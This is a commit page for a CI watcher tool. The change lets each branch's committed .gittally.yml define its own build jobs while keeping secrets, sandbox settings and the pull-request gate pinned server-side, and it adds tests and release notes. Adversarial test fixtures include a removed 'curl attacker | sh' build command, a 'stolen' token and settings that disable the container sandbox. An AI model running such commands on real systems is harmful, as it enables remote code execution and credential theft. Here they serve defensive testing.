The branch config takes precedence, including its build definitions
A branch's committed .gittally.yml describes that branch's CI, so it wins over the project and repo-install config — the `builds` section included. Pinning it was wrong: a new build definition can only be tried out by committing it on a branch, and pinned it neither took effect at build time nor existed for the watcher, so the job silently never ran. The watcher now decides per branch from that branch's own definitions, reading its committed config via `git show` and caching it by head commit, so the read happens only when the branch moved; an unreadable config falls back to the primary definitions instead of failing the poll cycle. A branch's definitions are evaluated for that branch alone, so a definition committed on one branch can never trigger builds of another. The pinned set is reduced to what does not describe this branch's build: secrets (`git`), the host and repository sections (`server`, `gitea`, `executor`, `watcher`), the sandbox policy (`docker.enabled`/`network`), and the trust gate (`requirePullRequest`). Letting a branch set its own build command through a definition grants no new power — `branches.*. buildCommand` always allowed exactly that — while the sandbox and the gate decide whether untrusted branch code runs on the host at all. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 5
parent
a3faa172f8
commit
f5871a0442
@@ -156,6 +156,8 @@ class InitCommand(
|
||||
maxConcurrent: 1
|
||||
|
||||
# Named build definitions (jobs) over the branches; every key names a build.
|
||||
# A branch may add or override definitions in its own committed .gittally.yml —
|
||||
# they then apply to that branch alone, so a new job can be tried out on a branch.
|
||||
builds:
|
||||
# Example definition — triggers (onPush/atTimes), branch selector
|
||||
# (branches/activeWithin), and overrides of the branch settings:
|
||||
|
||||
@@ -23,28 +23,36 @@ class ConfigLoader {
|
||||
|
||||
/**
|
||||
* Config for building a branch in [worktreeDir]: the worktree's `.gittally.yml`
|
||||
* (the committed config of the branch being built) overrides the primary/`.git`
|
||||
* config, giving the precedence worktree > `.git` > project. So a branch controls
|
||||
* its own build settings (`buildCommand`, `cleanCommand`, `artifactDirs`,
|
||||
* `docker.image`/`env`, …).
|
||||
*
|
||||
* The [pinned][stripPinned] keys are the exception: secrets (`git`), `gitea`/`server`
|
||||
* settings, the whole `builds` section (job definitions and execution settings), and
|
||||
* the docker sandbox policy (`docker.enabled`/`docker.network`) always come from
|
||||
* `.git`/primary — a branch must never be able to disable its own container, change
|
||||
* its network mode, redefine jobs, or reach the credentials. They are stripped from
|
||||
* the worktree layer before it is merged, so a worktree cannot set them at all.
|
||||
*
|
||||
* With no worktree `.gittally.yml` this is identical to [load].
|
||||
* (the committed config of the branch being built) is applied as the branch layer,
|
||||
* see [loadWithBranchLayer]. With no worktree `.gittally.yml` this is identical
|
||||
* to [load].
|
||||
*/
|
||||
fun loadForWorktree(
|
||||
workingDir: Path,
|
||||
worktreeDir: Path,
|
||||
): GitTallyConfig {
|
||||
val primary = loadRaw(workingDir)
|
||||
val worktree = stripPinned(loadFile(worktreeDir.resolve(".gittally.yml").toFile()))
|
||||
return toConfig(deepMerge(primary, worktree))
|
||||
}
|
||||
): GitTallyConfig = toConfig(deepMerge(loadRaw(workingDir), stripPinned(loadFile(worktreeDir.resolve(".gittally.yml").toFile()))))
|
||||
|
||||
/**
|
||||
* The primary/`.git` config with the committed `.gittally.yml` of one branch
|
||||
* ([branchConfigYaml], null or blank for a branch without one) merged on top:
|
||||
* precedence branch > `.git` > project. A branch describes its own CI — build
|
||||
* settings (`buildCommand`, `cleanCommand`, `artifactDirs`, `docker.image`/`env`, …)
|
||||
* and its `builds` definitions — so a new configuration can be tried out on a
|
||||
* branch without touching any other branch's builds.
|
||||
*
|
||||
* The [pinned][stripPinned] keys are the exception, and they are exactly the ones
|
||||
* that are not a description of this branch's build: secrets (`git`), the host- and
|
||||
* repository-side sections (`server`, `gitea`, `executor`), the docker sandbox policy
|
||||
* (`docker.enabled`/`docker.network`), and the trust gate
|
||||
* (`requirePullRequest`, which decides whether the branch is built at all).
|
||||
* They are stripped from the branch layer before merging, so a branch can neither
|
||||
* escape its container, nor bypass its own pull-request gate, nor raise the global
|
||||
* concurrency, nor reach the credentials.
|
||||
*/
|
||||
fun loadWithBranchLayer(
|
||||
workingDir: Path,
|
||||
branchConfigYaml: String?,
|
||||
): GitTallyConfig = toConfig(deepMerge(loadRaw(workingDir), stripPinned(parseYaml(branchConfigYaml))))
|
||||
|
||||
private fun toConfig(raw: Map<String, Any?>): GitTallyConfig {
|
||||
val config =
|
||||
@@ -57,27 +65,33 @@ class ConfigLoader {
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes the keys a build worktree must never override: the secret/server-side
|
||||
* top-level sections and the per-branch docker sandbox policy. See [loadForWorktree].
|
||||
* Removes the keys a branch must never override: the secret and host-side top-level
|
||||
* sections, the per-branch trust gate, and the docker sandbox policy.
|
||||
* See [loadWithBranchLayer].
|
||||
*/
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
private fun stripPinned(worktree: Map<String, Any?>): Map<String, Any?> {
|
||||
if (worktree.isEmpty()) {
|
||||
return worktree
|
||||
private fun stripPinned(branchLayer: Map<String, Any?>): Map<String, Any?> {
|
||||
if (branchLayer.isEmpty()) {
|
||||
return branchLayer
|
||||
}
|
||||
val result = worktree.toMutableMap()
|
||||
val result = branchLayer.toMutableMap()
|
||||
PINNED_TOP_LEVEL_KEYS.forEach { result.remove(it) }
|
||||
val branches = result["branches"] as? Map<String, Any?>
|
||||
if (branches != null) {
|
||||
result["branches"] =
|
||||
branches.mapValues { (_, value) ->
|
||||
val branch = value as? Map<String, Any?> ?: return@mapValues value
|
||||
val docker = branch["docker"] as? Map<String, Any?> ?: return@mapValues branch
|
||||
val strippedDocker = docker.toMutableMap().apply { PINNED_DOCKER_KEYS.forEach { remove(it) } }
|
||||
branch.toMutableMap().apply {
|
||||
if (strippedDocker.isEmpty()) remove("docker") else put("docker", strippedDocker)
|
||||
}
|
||||
}
|
||||
result["branches"] = branches.mapValues { (_, value) -> stripPinnedBranchKeys(value) }
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
private fun stripPinnedBranchKeys(value: Any?): Any? {
|
||||
val branch = value as? Map<String, Any?> ?: return value
|
||||
val result = branch.toMutableMap()
|
||||
PINNED_BRANCH_KEYS.forEach { result.remove(it) }
|
||||
val docker = branch["docker"] as? Map<String, Any?>
|
||||
if (docker != null) {
|
||||
val strippedDocker = docker.toMutableMap().apply { PINNED_DOCKER_KEYS.forEach { remove(it) } }
|
||||
if (strippedDocker.isEmpty()) result.remove("docker") else result["docker"] = strippedDocker
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -107,6 +121,13 @@ class ConfigLoader {
|
||||
return yaml.readValue(file, Map::class.java) as Map<String, Any?>
|
||||
}
|
||||
|
||||
/** Parses a `.gittally.yml` read from git (not from disk); blank or null yields no layer. */
|
||||
private fun parseYaml(text: String?): Map<String, Any?> {
|
||||
if (text.isNullOrBlank()) return emptyMap()
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
return yaml.readValue(text, Map::class.java) as? Map<String, Any?> ?: emptyMap()
|
||||
}
|
||||
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
private fun mergeBranchDefaults(raw: Map<String, Any?>): Map<String, Any?> {
|
||||
val branches = raw["branches"] as? Map<String, Any?> ?: return raw
|
||||
@@ -143,13 +164,23 @@ class ConfigLoader {
|
||||
|
||||
companion object {
|
||||
/**
|
||||
* Top-level sections a build worktree must never override: secrets, server-side
|
||||
* settings, the build definitions, and the concurrency limit (a branch must not
|
||||
* be able to redefine jobs or raise concurrency).
|
||||
* Top-level sections a branch must never override, because none of them describes
|
||||
* this branch's build: secrets (`git`), and the host- and repository-side settings
|
||||
* (`server`, `gitea`, `executor`, `watcher`) — a branch must not be able to reach
|
||||
* the credentials, report statuses to another repository, raise the global
|
||||
* concurrency, or turn off the pull-request gate for the whole watcher.
|
||||
* The `builds` section is deliberately *not* pinned: it describes what the branch
|
||||
* builds, and a branch can already run any command via `branches.*.buildCommand`.
|
||||
*/
|
||||
private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "builds", "executor")
|
||||
private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "executor", "watcher")
|
||||
|
||||
/** Per-branch `docker` keys the worktree must never override: the sandbox policy. */
|
||||
/**
|
||||
* Per-branch keys a branch must never override: the trust gate that decides
|
||||
* whether the watcher builds this branch at all.
|
||||
*/
|
||||
private val PINNED_BRANCH_KEYS = setOf("requirePullRequest")
|
||||
|
||||
/** Per-branch `docker` keys a branch must never override: the sandbox policy. */
|
||||
private val PINNED_DOCKER_KEYS = setOf("enabled", "network")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -258,6 +258,19 @@ class GitService(
|
||||
return if (result.isSuccess) result.stdout.trim() else null
|
||||
}
|
||||
|
||||
/**
|
||||
* The content of [path] as committed in [commit], or null when that commit has no
|
||||
* such file — used to read a branch's committed `.gittally.yml` without a worktree.
|
||||
*/
|
||||
fun showFileAtCommit(
|
||||
commit: String,
|
||||
path: String,
|
||||
workingDir: Path = Paths.get("."),
|
||||
): String? {
|
||||
val result = runner.run(listOf("git", "show", "$commit:$path"), workingDir)
|
||||
return if (result.isSuccess) result.stdout else null
|
||||
}
|
||||
|
||||
fun headCommit(workingDir: Path = Paths.get(".")): String =
|
||||
runner
|
||||
.runOrThrow(listOf("git", "rev-parse", "HEAD"), workingDir)
|
||||
|
||||
@@ -22,6 +22,7 @@ import java.time.Instant
|
||||
import java.time.LocalDate
|
||||
import java.time.LocalTime
|
||||
import java.time.ZoneOffset
|
||||
import java.util.concurrent.ConcurrentHashMap
|
||||
import java.util.concurrent.Executors
|
||||
import java.util.concurrent.ScheduledExecutorService
|
||||
import java.util.concurrent.TimeUnit
|
||||
@@ -54,6 +55,9 @@ class Watcher(
|
||||
@Volatile
|
||||
private var warnedDeprecatedAutoBuild = false
|
||||
|
||||
/** Build definitions per branch, cached by the branch's head commit — see [definitionsFor]. */
|
||||
private val branchDefinitions = ConcurrentHashMap<String, CachedDefinitions>()
|
||||
|
||||
fun state(): WatcherState = state
|
||||
|
||||
/**
|
||||
@@ -195,7 +199,8 @@ class Watcher(
|
||||
val pullRequestHeads = lazy { gitService.pullRequestHeads(workingDir) }
|
||||
// one for-each-ref per cycle at most, and only when a definition filters by activeWithin
|
||||
val headCommitTimes = lazy { gitService.originBranchCommitTimes(workingDir) }
|
||||
val definitions = config.effectiveBuildDefinitions()
|
||||
val heads = gitService.originBranchHeads(workingDir)
|
||||
branchDefinitions.keys.retainAll(originBranches)
|
||||
val changedLocal =
|
||||
gitService
|
||||
.localBranches(workingDir)
|
||||
@@ -203,15 +208,61 @@ class Watcher(
|
||||
val newOrigin =
|
||||
gitService.newOriginBranches(DurationParser.parse(config.watcher.newBranchMaxAge), workingDir)
|
||||
val changed = (changedLocal + newOrigin).distinct()
|
||||
for ((buildName, definition) in definitions.filterValues { it.onPush }) {
|
||||
for (branch in changed.filter { selects(definition, it, headCommitTimes) }) {
|
||||
startBuildIfDue(branch, allowSameCommit = false, config, pullRequestHeads, workingDir, buildName)
|
||||
for (branch in changed) {
|
||||
val onPush = definitionsFor(branch, heads[branch], workingDir).filterValues { it.onPush }
|
||||
for ((buildName, definition) in onPush) {
|
||||
if (selects(definition, branch, headCommitTimes)) {
|
||||
startBuildIfDue(branch, allowSameCommit = false, config, pullRequestHeads, workingDir, buildName)
|
||||
}
|
||||
}
|
||||
}
|
||||
enqueueScheduledBuilds(definitions, config, originBranches, pullRequestHeads, headCommitTimes, workingDir)
|
||||
enqueueScheduledBuilds(config, originBranches, heads, pullRequestHeads, headCommitTimes, workingDir)
|
||||
enqueueDeprecatedAutoBuilds(config, originBranches, pullRequestHeads, workingDir)
|
||||
}
|
||||
|
||||
/**
|
||||
* The build definitions that apply to [branch]: the primary configuration with the
|
||||
* branch's own committed `.gittally.yml` merged on top (the pinned keys stripped),
|
||||
* so a new `builds` configuration can be tried out on a branch without touching any
|
||||
* other branch's builds. A branch's definitions only ever apply to that branch —
|
||||
* their selectors are evaluated for it alone, so a definition committed on one branch
|
||||
* can never schedule builds of another.
|
||||
*
|
||||
* Cached per branch by its head commit, so the `git show` runs only when the branch
|
||||
* moved. An unreadable branch config falls back to the primary definitions instead of
|
||||
* failing the poll cycle.
|
||||
*/
|
||||
private fun definitionsFor(
|
||||
branch: String,
|
||||
headCommit: String?,
|
||||
workingDir: Path,
|
||||
): Map<String, BuildDefinition> {
|
||||
val commit = headCommit ?: return configLoader.load(workingDir).effectiveBuildDefinitions()
|
||||
branchDefinitions[branch]?.takeIf { it.commit == commit }?.let { return it.definitions }
|
||||
val definitions =
|
||||
try {
|
||||
configLoader
|
||||
.loadWithBranchLayer(workingDir, gitService.showFileAtCommit(commit, CONFIG_FILE, workingDir))
|
||||
.effectiveBuildDefinitions()
|
||||
} catch (e: Exception) {
|
||||
log.warn(
|
||||
"ignoring the committed {} of branch {} at {}: {}",
|
||||
CONFIG_FILE,
|
||||
branch,
|
||||
commit,
|
||||
e.message ?: e.javaClass.simpleName,
|
||||
)
|
||||
configLoader.load(workingDir).effectiveBuildDefinitions()
|
||||
}
|
||||
branchDefinitions[branch] = CachedDefinitions(commit, definitions)
|
||||
return definitions
|
||||
}
|
||||
|
||||
private class CachedDefinitions(
|
||||
val commit: String,
|
||||
val definitions: Map<String, BuildDefinition>,
|
||||
)
|
||||
|
||||
private fun selects(
|
||||
definition: BuildDefinition,
|
||||
branch: String,
|
||||
@@ -269,30 +320,30 @@ class Watcher(
|
||||
* the point of a scheduled build.
|
||||
*/
|
||||
private fun enqueueScheduledBuilds(
|
||||
definitions: Map<String, BuildDefinition>,
|
||||
config: GitTallyConfig,
|
||||
originBranches: Set<String>,
|
||||
heads: Map<String, String>,
|
||||
pullRequestHeads: Lazy<Set<String>>,
|
||||
headCommitTimes: Lazy<Map<String, Instant>>,
|
||||
workingDir: Path,
|
||||
) {
|
||||
val scheduled = definitions.filterValues { it.atTimes.isNotEmpty() }
|
||||
if (scheduled.isEmpty()) {
|
||||
return
|
||||
}
|
||||
val autoBuildState = FileAutoBuildState(workingDir.resolve(AUTO_BUILDS_FILE))
|
||||
val autoBuildState = lazy { FileAutoBuildState(workingDir.resolve(AUTO_BUILDS_FILE)) }
|
||||
val now = clock.instant()
|
||||
val today = LocalDate.ofInstant(now, ZoneOffset.UTC)
|
||||
val timeOfDay = LocalTime.ofInstant(now, ZoneOffset.UTC)
|
||||
for ((buildName, definition) in scheduled) {
|
||||
val slot = AutoBuildSlots.latestDueSlot(definition.atTimes, timeOfDay) ?: continue
|
||||
for (branch in originBranches.filter { selects(definition, it, headCommitTimes) }) {
|
||||
for (branch in originBranches) {
|
||||
val scheduled = definitionsFor(branch, heads[branch], workingDir).filterValues { it.atTimes.isNotEmpty() }
|
||||
for ((buildName, definition) in scheduled) {
|
||||
if (!selects(definition, branch, headCommitTimes)) {
|
||||
continue
|
||||
}
|
||||
val slot = AutoBuildSlots.latestDueSlot(definition.atTimes, timeOfDay) ?: continue
|
||||
val pool = BuildDefinition.poolName(branch, buildName)
|
||||
if (autoBuildState.isTriggered(pool, today, slot)) {
|
||||
if (autoBuildState.value.isTriggered(pool, today, slot)) {
|
||||
continue
|
||||
}
|
||||
if (startBuildIfDue(branch, allowSameCommit = true, config, pullRequestHeads, workingDir, buildName)) {
|
||||
autoBuildState.markTriggered(pool, today, slot)
|
||||
autoBuildState.value.markTriggered(pool, today, slot)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -395,5 +446,8 @@ class Watcher(
|
||||
companion object {
|
||||
/** Auto-build trigger state next to the build results (replaces legacy `auto-builds.tsv`). */
|
||||
const val AUTO_BUILDS_FILE = ".git/gittally/auto-builds.json"
|
||||
|
||||
/** The committed config read per branch for its build definitions. */
|
||||
const val CONFIG_FILE = ".gittally.yml"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,8 +7,19 @@
|
||||
<div th:replace="~{fragments :: nav(${view})}"></div>
|
||||
<div class="panel release-notes">
|
||||
|
||||
<h2>v0.9.15 <span class="muted">— 2026-08-28</span></h2>
|
||||
<h2>v0.9.15 <span class="muted">— 2026-08-29</span></h2>
|
||||
<ul>
|
||||
<li>The <code>.gittally.yml</code> committed on a branch now takes precedence for the
|
||||
<code>builds</code> section as well — a branch can define its own build definitions
|
||||
and override those from the project config. The watcher reads each origin branch's
|
||||
committed configuration, so a new build definition takes effect by committing it on
|
||||
a branch, without touching any other branch's builds. A branch's definitions apply
|
||||
to that branch alone.</li>
|
||||
<li>Pinned to the server side are only the keys that do not describe the branch's build:
|
||||
secrets (<code>git</code>), the host and repository sections (<code>server</code>,
|
||||
<code>gitea</code>, <code>executor</code>, <code>watcher</code>), the container sandbox
|
||||
policy (<code>docker.enabled</code>, <code>docker.network</code>), and the
|
||||
<code>requirePullRequest</code> gate.</li>
|
||||
<li><strong>Changed:</strong> the build concurrency limit moved from
|
||||
<code>builds.maxConcurrent</code> to <code>executor.maxConcurrent</code> (default 1,
|
||||
no compatibility alias) — the <code>builds</code> section now holds build definitions
|
||||
|
||||
@@ -92,13 +92,45 @@ class ConfigLoaderTest : FunSpec() {
|
||||
loader.load(dir).effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = false)
|
||||
}
|
||||
|
||||
test("a build worktree cannot redefine the builds section") {
|
||||
test("a branch may redefine the builds section for its own builds") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
pitest:
|
||||
atTimes: ["01:00"]
|
||||
buildCommand: ./gradlew piTestPartial
|
||||
""".trimIndent(),
|
||||
)
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
worktree.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: ./gradlew piTestFull
|
||||
experiment:
|
||||
onPush: true
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
|
||||
// the branch layer merges into the definition instead of replacing it
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
config.buildDefinitions.getValue("pitest").atTimes shouldBe listOf("01:00")
|
||||
config.buildDefinitions.getValue("experiment").onPush shouldBe true
|
||||
}
|
||||
|
||||
test("a branch cannot raise the concurrency limit or reach the sandbox policy through a build definition") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
branches:
|
||||
default:
|
||||
requirePullRequest: true
|
||||
docker:
|
||||
enabled: true
|
||||
network: none
|
||||
""".trimIndent(),
|
||||
)
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
@@ -106,16 +138,36 @@ class ConfigLoaderTest : FunSpec() {
|
||||
"""
|
||||
executor:
|
||||
maxConcurrent: 99
|
||||
watcher:
|
||||
pullRequestGate: false
|
||||
branches:
|
||||
default:
|
||||
requirePullRequest: false
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: curl attacker | sh
|
||||
default:
|
||||
docker:
|
||||
enabled: false
|
||||
network: host
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
val branchConfig = config.branches.getValue("default")
|
||||
|
||||
config.executor.maxConcurrent shouldBe 1
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
config.watcher.pullRequestGate shouldBe true
|
||||
branchConfig.requirePullRequest shouldBe true
|
||||
// a build definition has no enabled/network at all, so it cannot reintroduce them
|
||||
config.buildDefinitions
|
||||
.getValue("default")
|
||||
.applyTo(branchConfig)
|
||||
.docker
|
||||
.enabled shouldBe true
|
||||
config.buildDefinitions
|
||||
.getValue("default")
|
||||
.applyTo(branchConfig)
|
||||
.docker
|
||||
.network shouldBe "none"
|
||||
}
|
||||
|
||||
test("repo install config overrides project config for same keys") {
|
||||
@@ -312,6 +364,54 @@ class ConfigLoaderTest : FunSpec() {
|
||||
config.branches["default"]!!.docker.image shouldBe "attacker-image"
|
||||
}
|
||||
|
||||
test("loadWithBranchLayer applies a branch config read from git, pinning the same keys") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".git/gittally").toFile().mkdirs()
|
||||
dir.resolve(".git/gittally/.gittally.yml").toFile().writeText(
|
||||
"""
|
||||
git:
|
||||
token: real-secret
|
||||
branches:
|
||||
default:
|
||||
buildCommand: from-git
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config =
|
||||
loader.loadWithBranchLayer(
|
||||
dir,
|
||||
"""
|
||||
git:
|
||||
token: stolen
|
||||
builds:
|
||||
pitest:
|
||||
atTimes: ["03:00"]
|
||||
buildCommand: ./gradlew piTestFull
|
||||
branches:
|
||||
default:
|
||||
buildCommand: from-branch
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
config.git.token shouldBe "real-secret"
|
||||
config.branches.getValue("default").buildCommand shouldBe "from-branch"
|
||||
config.buildDefinitions.getValue("pitest").atTimes shouldBe listOf("03:00")
|
||||
}
|
||||
|
||||
test("loadWithBranchLayer without a branch config equals load") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
branches:
|
||||
default:
|
||||
buildCommand: ./mvnw test
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
loader.loadWithBranchLayer(dir, null) shouldBe loader.load(dir)
|
||||
loader.loadWithBranchLayer(dir, "") shouldBe loader.load(dir)
|
||||
}
|
||||
|
||||
test("loadForWorktree without a worktree config equals load") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
|
||||
@@ -76,6 +76,9 @@ class WatcherTest : FunSpec() {
|
||||
every { gitService.hasNewCommits(any(), any()) } returns false
|
||||
every { gitService.originHeadCommit(any(), any()) } returns null
|
||||
every { gitService.originBranchCommitTimes(any()) } returns emptyMap()
|
||||
every { gitService.originBranchHeads(any()) } returns emptyMap()
|
||||
every { gitService.showFileAtCommit(any(), any(), any()) } returns null
|
||||
every { configLoader.loadWithBranchLayer(any(), anyNullable()) } returns config
|
||||
every { gitService.pullRequestHeads(any()) } returns emptySet()
|
||||
every { gitService.worktreePrune(any()) } returns Unit
|
||||
every { gitService.fastForwardLocalBranches(any()) } returns emptyList()
|
||||
@@ -483,6 +486,85 @@ class WatcherTest : FunSpec() {
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) }
|
||||
}
|
||||
|
||||
test("a build definition committed on a branch fires for that branch, without any entry in the primary config") {
|
||||
val harness = Harness()
|
||||
val branchLayer =
|
||||
GitTallyConfig(
|
||||
buildDefinitions = mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"))),
|
||||
)
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main", "experiment")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns
|
||||
mapOf("main" to "commit-main", "experiment" to "commit-exp")
|
||||
every { harness.gitService.showFileAtCommit("commit-exp", Watcher.CONFIG_FILE, any()) } returns "branch-yaml"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "branch-yaml") } returns branchLayer
|
||||
every { harness.gitService.originHeadCommit("experiment", any()) } returns "commit-exp"
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
harness.startedBuilds shouldContainExactly listOf("experiment" to "commit-exp")
|
||||
verify { harness.buildExecutor.startBuild("experiment", "commit-exp", any(), "pitest") }
|
||||
harness
|
||||
.autoBuildState()
|
||||
.isTriggered("experiment@pitest", LocalDate.parse("2026-07-07"), "11:00")
|
||||
.shouldBeTrue()
|
||||
}
|
||||
|
||||
test("a build definition committed on a branch never schedules another branch") {
|
||||
val harness = Harness()
|
||||
val branchLayer =
|
||||
GitTallyConfig(
|
||||
buildDefinitions =
|
||||
mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"), branches = listOf("main"))),
|
||||
)
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main", "experiment")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns
|
||||
mapOf("main" to "commit-main", "experiment" to "commit-exp")
|
||||
every { harness.gitService.showFileAtCommit("commit-exp", Watcher.CONFIG_FILE, any()) } returns "branch-yaml"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "branch-yaml") } returns branchLayer
|
||||
every { harness.gitService.originHeadCommit(any(), any()) } returns "commit-any"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
// the definition selects main, but it is only known on experiment — so nothing is built
|
||||
harness.startedBuilds.shouldBeEmpty()
|
||||
}
|
||||
|
||||
test("a branch's committed config is read from git again only after the branch moved") {
|
||||
val harness = Harness()
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-1")
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
verify(exactly = 1) { harness.gitService.showFileAtCommit("commit-1", Watcher.CONFIG_FILE, any()) }
|
||||
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-2")
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
verify(exactly = 1) { harness.gitService.showFileAtCommit("commit-2", Watcher.CONFIG_FILE, any()) }
|
||||
}
|
||||
|
||||
test("an unreadable branch config falls back to the primary definitions instead of failing the poll") {
|
||||
val harness = Harness()
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.localBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.hasNewCommits("main", any()) } returns true
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-main")
|
||||
every { harness.gitService.showFileAtCommit("commit-main", Watcher.CONFIG_FILE, any()) } returns "broken"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "broken") } throws
|
||||
RuntimeException("mapping problem")
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
harness.watcher
|
||||
.state()
|
||||
.lastPollError
|
||||
.shouldBeNull()
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) }
|
||||
}
|
||||
|
||||
test("an auto-build slot stays untriggered while the branch is still building") {
|
||||
val harness = Harness(autoBuildConfig("11:00"))
|
||||
harness.seed("main", BuildStatus.RUNNING, commit = "commit-abc")
|
||||
|
||||
Reference in New Issue
Block a user